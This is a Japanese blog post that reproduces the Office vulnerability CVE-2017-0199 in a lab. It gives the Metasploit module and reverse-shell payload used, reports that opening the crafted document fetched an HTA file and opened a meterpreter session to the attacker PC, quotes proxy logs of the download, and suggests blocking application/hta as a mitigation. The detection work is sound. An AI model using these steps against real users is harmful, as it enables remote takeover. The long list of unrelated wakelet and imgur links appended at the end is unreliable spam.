2017年6月27日にウクライナなど世界各地でランサムウェア「petya(ペトヤまたはペチャ)」の感染被害が発生しました。初期感染経路に関する情報は輻輳しておりますが、いくつかのセキュリティベンダーからは、2017年4月に公開された脆弱性CVE-2017-0199が悪用されたとの情報もあります。
この説が本当だとすると、不審メールの開封や改ざんされたウェブサイトの閲覧により感染することになり、国内においても被害の発生が懸念されます。 そこで、CVE-2017-0199による攻撃発生時にどのような特徴があるのか、また、ログなどから検知できないのか検証してみました。
検証環境
[ソフトウェア]
・攻撃PC:Debian8, Metasploit Framework ver.4.14.28-dev
・被害PC:Windows7 Professional SP1 64bit, Microsoft Office2010 SP2 32bit
[ネットワーク構成]
攻撃PC(192.168.15.10)
│
Firewall(192.168.15.100/192.168.100.100)
├ Proxy(192.168.100.50)
Firewall(192.168.15.101/172.16.0.100)
│
被害PC(172.16.0.130)
検証手順
(1)攻撃PCにてmsfconsoleを起動し、エクスプロイトを実行
exploit: windows/fileformat/office_word_htapayload: windows/meterpreter/reverse_https
(2)上記コマンドにて作成された攻撃用ファイル「msf.doc」を被害PCに移動
(3)被害PC上で「msf.doc」をWORDにて開封
検証結果
(1) 検証手順(3)によりWORD文書を開封すると、「この文書は、他のファイルへのリンクが含まれています。リンクされたファイルのデータでこの文書を更新しますか?」というダイアログメッセージが表示されました。

(2)ダイアログメッセージには、「はい」、「いいえ」、「ヘルプ」の3種類のボタンがありますが、何も操作しなくとも、バックグラウンドで攻撃PCにHTTP接続し、HTAファイルがダウンロードされ実行されました。
(3)HTAファイルの実行により、攻撃PCにmeterpreterセッションが確立され、遠隔操作に成功しました。

[補足]
・「msf.doc」をメールに添付した状態で開封するなど、WORDが「保護されたビュー」で起動した場合は、攻撃が発動しません。ただし、「編集を有効にする」をクリックすると攻撃が発動します。
・Windows7 Home Edition 32bit版にて同様の検証をしたところ、何故か攻撃が成功しませんでした。(原因は不明)
攻撃発生時の特徴
・プロキシログに「hta」ファイルのアクセスログが残ります。なお、ユーザーエージェントはInternet Explorer(デフォルトブラウザ)のものが記録されます。
[攻撃時プロキシログ]#cat /var/log/squid/access.log 02/Jul/2017:22:34:11 +0900.388 4472 172.16.0.130 TCP_MISS/200 6902 GET http://192.168.15.10/default.hta - DIRECT/192.168.15.10 application/hta "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)" 02/Jul/2017:22:34:11 +0900.825 139 172.16.0.130 TCP_MISS/200 6850 GET http://192.168.15.10/default.hta - DIRECT/192.168.15.10 application/hta "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)" 02/Jul/2017:22:34:16 +0900.365 3349 172.16.0.130 TCP_MISS/200 962300 CONNECT 192.168.15.10:443 - DIRECT/192.168.15.10 - "-"
※1〜2行目のログが記録されたとしても、脆弱性攻撃が成功したとは限らない。
感想
・セキュリティパッチを適用することが最善策なのですが、何らかの理由により適用が困難な場合は、プロキシサーバなどでContent-Type「application/hta」を遮断することで、脆弱性攻撃を緩和できるかもしれないと感じました。(私の環境では、通常のブラウジングでHTAファイルにアクセスすることがないため、対策による影響も小さいのかなと思っています。)
https://wakelet.com/wake/wwJnO9bVE3PZkveD44I3p
https://wakelet.com/wake/iMlkTmLGqkew9XbCh1eul
https://wakelet.com/wake/hEjeJPkLNtvPj_2ifH-oX
https://wakelet.com/wake/vvnLNzzjhtUb3kHnP25C2
https://wakelet.com/wake/sIaLRcM9Q_vlj2V2jzq38
https://wakelet.com/wake/3y76h4yLoyd3XerzhByI2
https://wakelet.com/wake/iqtgDxDzPtOBEEPJZNroX
https://wakelet.com/wake/1s057QWZNtrDGIRHdnF96
https://wakelet.com/wake/EY6NIAj-Oof8LasOrE5fP
https://wakelet.com/wake/4P5CK_R2LeQejY6OnjfI1
https://wakelet.com/wake/Yjyy44M0qidBQ62ESo9xY
https://wakelet.com/wake/AJI6O89V2WAchLPoYboaR
https://wakelet.com/wake/202YjByo3ZFwoXPGKk38w
https://wakelet.com/wake/NWP2B3U9fl1f5uLyoY95O
https://wakelet.com/wake/W-2OE1IT2s-1XZN3WqBW7
https://wakelet.com/wake/8JbSOsUF2ArmZ6d0JsdXm
https://wakelet.com/wake/XA9pC0dawTotexpaFS3Ca
https://wakelet.com/wake/zZv_xI0i8aQX1AtUSxqYB
https://imgur.com/GA8QaUH
https://imgur.com/J4iAgJB
https://imgur.com/32Kuk2m
https://imgur.com/LRuxnqL
https://imgur.com/Eqy50uR
https://imgur.com/zsyFAQ9
https://imgur.com/ZuVozMq
https://imgur.com/FE58TGC
https://imgur.com/IJdR3Uo
https://imgur.com/EmnDxAW
https://imgur.com/ieUHPEF
https://imgur.com/pF37Aev
https://imgur.com/Zzc6Xyn
https://imgur.com/3QQIygd
https://imgur.com/XaAhWFR
https://imgur.com/mNDNyWk
https://imgur.com/PmWWxkt
https://imgur.com/wGY02XY
https://imgur.com/o8XT8O3
https://imgur.com/PFBIwYk
https://imgur.com/ZHPRJN7
https://imgur.com/ozPlxYC
https://imgur.com/R3sF7Og
https://imgur.com/J5om6dP
https://imgur.com/QlNtLiL
https://imgur.com/SRXyiWZ
https://imgur.com/gdKEFZ6
https://imgur.com/OKGaIy4
https://imgur.com/K4wLBD1
https://imgur.com/RQB2uOV
https://imgur.com/yam2uS6
https://imgur.com/oqpmD8C
https://imgur.com/LW9Eypy
https://imgur.com/73lkW3u
https://imgur.com/pnpp046
https://imgur.com/WMsjsW1
https://imgur.com/4ETzrtK
https://imgur.com/vffuIhP
https://imgur.com/yLZ0zY1
https://imgur.com/tQJateI
https://imgur.com/ECaDdzA
https://imgur.com/kxMhLfZ
https://imgur.com/ikt3E6K
https://imgur.com/CJjD62c
https://imgur.com/X4GwPfC
https://imgur.com/L1bbSRZ
https://imgur.com/wAlZAb2
https://imgur.com/BRNuhJx
https://imgur.com/E8hrtTb
https://imgur.com/lUlLuLI
https://imgur.com/nq9qexY
https://imgur.com/XxSYbDB
https://imgur.com/tKymrzW
https://imgur.com/m6gTrMG
https://imgur.com/eQ41kVt
https://imgur.com/8rv9CeB
https://imgur.com/yHv5784
https://imgur.com/aXjxkOa
https://imgur.com/sGN4zMk
https://imgur.com/1lzpAdA
https://imgur.com/kQTyz15
https://imgur.com/GFdtJhp